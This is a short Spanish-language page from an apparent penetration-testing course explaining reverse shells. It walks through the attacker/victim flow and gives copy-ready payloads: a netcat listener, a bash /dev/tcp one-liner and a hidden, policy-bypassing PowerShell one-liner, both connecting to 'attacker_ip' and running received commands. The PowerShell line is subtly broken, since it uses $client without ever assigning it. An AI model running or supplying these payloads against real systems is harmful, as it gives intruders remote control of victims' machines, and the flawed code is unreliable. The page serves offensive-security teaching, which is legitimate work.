> For the complete documentation index, see [llms.txt](https://books.spartan-cybersec.com/cppj/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://books.spartan-cybersec.com/cppj/shell/reverse-shell.md).

# ¿Reverse Shell?

Una reverse shell es un tipo de shell donde el flujo de comunicación se invierte. En lugar de que el atacante se conecte directamente a la máquina objetivo, la máquina objetivo establece una conexión de vuelta al atacante. Esto puede ayudar a evadir firewalls y otras medidas de seguridad que bloquean conexiones entrantes.

<https://www.revshells.com/>

## <mark style="color:green;">**Funcionamiento de una Reverse Shell**</mark>

1. <mark style="color:green;">**Atacante**</mark><mark style="color:green;">:</mark> Inicia un listener en su máquina para esperar conexiones entrantes.
2. <mark style="color:green;">**Víctima**</mark><mark style="color:green;">:</mark> Ejecuta un payload que abre una conexión hacia la máquina del atacante.
3. <mark style="color:green;">**Control Remoto**</mark><mark style="color:green;">:</mark> Una vez establecida la conexión, el atacante puede enviar comandos y controlar el sistema de la víctima.

## <mark style="color:green;">**Ejemplo de Reverse Shell en Bash (Linux):**</mark>

**Atacante**:

```bash
nc -lvnp 4444
```

**Víctima**:

```bash
bash -i >& /dev/tcp/attacker_ip/4444 0>&1
```

## <mark style="color:green;">**Ejemplo de Reverse Shell en PowerShell (Windows):**</mark>

**Atacante**:

```bash
nc -lvnp 4444
```

**Víctima**:

{% code overflow="wrap" %}

```powershell
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "New-Object System.Net.Sockets.TCPClient('attacker_ip',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```

{% endcode %}
